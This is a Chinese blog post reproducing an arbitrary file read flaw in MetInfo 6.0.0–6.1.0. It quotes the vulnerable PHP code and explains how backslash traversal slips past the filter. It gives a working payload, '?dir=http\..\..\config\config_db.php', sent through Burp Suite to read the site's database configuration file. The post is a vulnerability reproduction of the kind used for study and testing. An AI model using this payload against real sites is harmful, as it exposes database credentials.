metinfo_6.0.0 任意文件读取漏洞复现

news2024/11/16 18:01:15

一.漏洞简介

在这里插入图片描述

MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0~6.1.0版本中的 old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

二.漏洞影响

MetInfo 6.0.0
MetInfo 6.1.0

三.漏洞分析

在\MetInfo6.0.0\app\system\include\module\的old_thumb.class.php文件中有$dir = str_replace(array(‘…/’,‘./’), ‘’, $_GET[‘dir’])代码!!!
在这里插入图片描述

<?php
#MetInfo Enterprise Content Management System
#Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
      public function doshow(){
        global $_M;
         $dir = str_replace(array('../','./'), '', $_GET['dir']);
         #$dir直接由$_GET['dir']传参,并将../和./过滤
        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){   
#使用substr函数提取字符串,从(str_replace($_M['url']['site'], '', $dir)的位置0开始取4个字符串。
#(str_replace($_M['url']['site'], '', $dir):是将$dir中包含$_M['url']['site']进行过滤掉 ' '。
#使用strpos函数查找$dir中的./首次出现的位置,并进行过滤。
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }
......

从代码中可以看到, d i r 直接由 dir直接由 dir直接由_GET[‘dir’]传递进来,并将…/过滤替换为空。目标是进入到第一个if里面的readfile( d i r ) ; ,读取文件。外面是一个 s t r s t r 函数,判断 dir);,读取文件。外面是一个strstr函数,判断 dir);,读取文件。外面是一个strstr函数,判断dir中http字符串的首次出现位置,也就是说,要进入到这个if语句里面,$dir要以http开头。使用strpos函数查找./首次出现的位置,也就是说不能有./。没了./,在Windows下还可以用…\来跳转目录。所以payload

四.构造payload

从上面的代码分析可以构造出payload,$dir要以http开头。使用strpos函数查找./首次出现的位置,也就是说不能有./。没了./,在Windows下还可以用…\来跳转目录。所以最终payload如下

?dir=http\..\..\文件名

五.使用BP抓包

在这里插入图片描述

发送到repeater模块
在这里插入图片描述

写入payload

?dir=http\..\..\config\config_db.php

在这里插入图片描述

文件读取成功!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/497923.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

推开“任意门”,华为全屋智能正在实现一代科幻迷的童年梦想

科幻作家亚瑟查理斯克拉克有句名言&#xff0c;“任何足够先进的科技&#xff0c;都和魔法无异”。 提到空间魔法&#xff0c;很多科技爱好者或科幻迷会想到哆啦A梦的“任意门”。通过那扇门&#xff0c;可以进入全新的世界&#xff0c;去任何想去的地方&#xff0c;是不少人在…

最新研究,GPT-4暴露了缺点!无法完全理解语言歧义!

夕小瑶科技说 原创作者 |智商掉了一地、Python自然语言推理&#xff08;Natural Language Inference&#xff0c;NLI&#xff09;是自然语言处理中一项重要任务&#xff0c;其目标是根据给定的前提和假设&#xff0c;来判断假设是否可以从前提中推断出来。然而&#xff0c;由于…

远程连接阿里云mysql数据库教程(SSH方式和宝塔面板方式)

一、SSH方式 1.首先登录mysql数据库 mysql -u root -p 输入密码后&#xff1a; 第一次连接的话该密码可以通过宝塔面板来重置&#xff1a; &#xff08;1&#xff09;输入 bt&#xff1a; &#xff08;2&#xff09;输入 7 即可重置mysql密码 2.查询mysql数据库中的user表 …

如何快速给pdf添加水印?

如何快速给pdf添加水印&#xff1f;在当今数字化时代&#xff0c;任何工作都是在电脑上完成了&#xff0c;PDF文档已成为人们日常工作中必不可少的一部分。虽然pdf文件具有较强的稳定性&#xff0c;不能被别人轻易的编辑修改&#xff0c;有时我们还需要提高pdf文件的安全性&…

AlphaFold的极限:高中生揭示人工智能在生物信息学挑战中的缺陷

人工智能程序AlphaFold (AlphaFold2开源了&#xff0c;不是土豪也不会编程的你怎么蹭一波&#xff1f;)&#xff0c;通过预测蛋白质结构解决了结构生物信息学的核心问题。部分AlphaFold迷们声称“该程序已经掌握了终极蛋白质物理学&#xff0c;其工作能力已超越了最初的设计”。…

Doc2Bot: 达摩院推出多类型文档对话数据集

一、概述 title&#xff1a;Doc2Bot: Accessing Heterogeneous Documents via Conversational Bots 论文地址&#xff1a;Doc2Bot: Accessing Heterogeneous Documents via Conversational Bots - ACL Anthology 数据地址&#xff08;大概5千多轮开源数据&#xff09;&#…

用 Spark 预测回头客

访问【WRITE-BUG数字空间】_[内附完整源码和文档] 至此“淘宝双 11 数据分析与预测课程案例”所需要的环境配置完成。另外实际操作中发现在案例教程中存在一些小问题&#xff0c;比如教程中 Eclipse 版本为 3.8&#xff0c;但是在配置 Tomcat Server 时又要求配置 v8.0 版本&a…

【分布式技术专题】「授权认证体系」OAuth2.0协议的入门到精通系列之授权码模式

这里写目录标题 OAuth2.0是什么OAuth2.0协议体系的Roles角色OAuth定义了四个角色资源所有者资源服务器客户端授权服务器 传统的客户机-服务器身份验证模型的问题 协议流程认证授权授权码 OAuth2.0是什么 OAuth 2.0是用于授权的行业标准协议。OAuth 2.0专注于简化客户端开发人员…

从【连接受限】看Android网络

从连接受限看Android网络 现象摸索从通知开始是Handler发的通知看看NetworkStateTrackerHandler NetworkMonitor做了什么NetworkMonitor是一个状态机CaptivePortalProbeResult从何而来连接受限的直接原因 嗅探是怎样进行的ProbeThread 回过头看看InternalHanderregisterNetwork…

GRE 隧道协议

1.GRE协议简介 GRE&#xff08;General Routing Encapsulation &#xff0c;通用路由封装&#xff09;是对某些网络层协议(如IP和IPX)的数据报文进行封装&#xff0c;使这些被封装的报文能够在另一网络层协议(如IP)中传输。此外 GRE协议也可以作为VPN的第三层隧道协议连接两个…

ES6之迭代器

文章目录 前言迭代器1.原生具备Iterator接口的数据&#xff08;可用for...of遍历&#xff09;2.工作原理3.自定义遍历数据 总结 前言 迭代器&#xff08;Iterator&#xff09; for…of遍历 迭代器 迭代器是一种接口&#xff0c;为各种不同数据结构提供统一的访问机制。任何数…

c++ 11标准模板(STL) std::vector (八)

定义于头文件 <vector> template< class T, class Allocator std::allocator<T> > class vector;(1)namespace pmr { template <class T> using vector std::vector<T, std::pmr::polymorphic_allocator<T>>; }(2)(C17…

智慧工地烟火识别算法 opencv

智慧工地烟火识别系统应用pythonopencv深度学习算法模型技术分析前端视频信息&#xff0c;智慧工地烟火识别算法模型主动发现工地或者厂区现场区域内的烟雾和火灾苗头及时进行告警。OpenCV的全称是Open Source Computer Vision Library&#xff0c;是一个跨平台的计算机视觉处理…

前端三剑客 - HTML

前言 前面都是一些基础的铺垫&#xff0c;现在就正式进入到web开发环节了。 我们的目标就是通过学习 JavaEE初阶&#xff0c;搭建出一个网站出来。 一个网站分成两个部分&#xff1a; 前端&#xff08;客户端&#xff09; 后端&#xff08;服务器&#xff09; 通常这里的客户端…

ASP.NET Core Web API用户身份验证

一、JWT介绍 ASP.NET Core Web API用户身份验证的方法有很多&#xff0c;本文只介绍JWT方法。JWT实现了服务端无状态&#xff0c;在分布式服务、会话一致性、单点登录等方面凸显优势&#xff0c;不占用服务端资源。简单来说&#xff0c;JWT的验证过程如下所示&#xff1a; &a…

基于微服务架构的水果销售系统的设计与实现

访问【WRITE-BUG数字空间】_[内附完整源码和文档] 整体上为微服务架构&#xff0c;使用 SpringCloud 技术&#xff0c;每个独立的服务为一个单独的 SpringBoot 工程&#xff1b;数据库使用 MySQL 数据库&#xff1b;分布式缓存使用 Redis&#xff0c;消息队列使用 Kafka。包括…

基于matlab的相控阵系统仿真场景可视化

一、前言 此示例演示如何使用方案查看器可视化系统级仿真。 二、介绍 相控阵系统仿真通常包括许多移动物体。例如&#xff0c;阵列和目标都可以处于运动状态。此外&#xff0c;每个移动物体可能都有自己的方向&#xff0c;因此当模拟中出现更多玩家时&#xff0c;簿记变得越来越…

是人就能学会的Spring源码教学-Spring的简单使用

是人就能学会的Spring源码教学-Spring的简单使用 Spring的最简单入门使用第一步 创建项目第二步 配置项目第三步 启动项目 Spring的最简单入门使用 各位道友且跟我一道来学习Spring的最简单的入门使用&#xff0c;为了方便和简单&#xff0c;我使用了Spring Boot项目&#xff…

解决NixOS在Vmware中无法自适应显示缩放问题

解决NixOS在Vmware中无法自适应显示缩放问题 此方法同样适用于所有虚拟机&#xff0c;主要解决的是 虚拟机界面显示无法自适应操作虚拟机时&#xff0c;过渡动画卡顿看视频时&#xff0c;分辨率不高&#xff0c;伴随卡顿 起因 在为 NixOS安 装完 Vmware Tools 后&#xff0c;…

2023年最新水果DAW编曲软件fl studio21 macOS - 21.0.3.3036简体中文版免费下载支持苹果M1/M2处理器

一直梦想制作自己的音乐(无论是作为一名制作人还是艺术家)&#xff0c;你可能会想你出生在这个时代是你的幸运星。这个水果圈工作室和上一版之间的改进水平确实令人钦佩。这仅仅是FL Studio 21所提供的皮毛。你的音乐项目的选择真的会让你大吃一惊。你以前从未有过这样的多才多…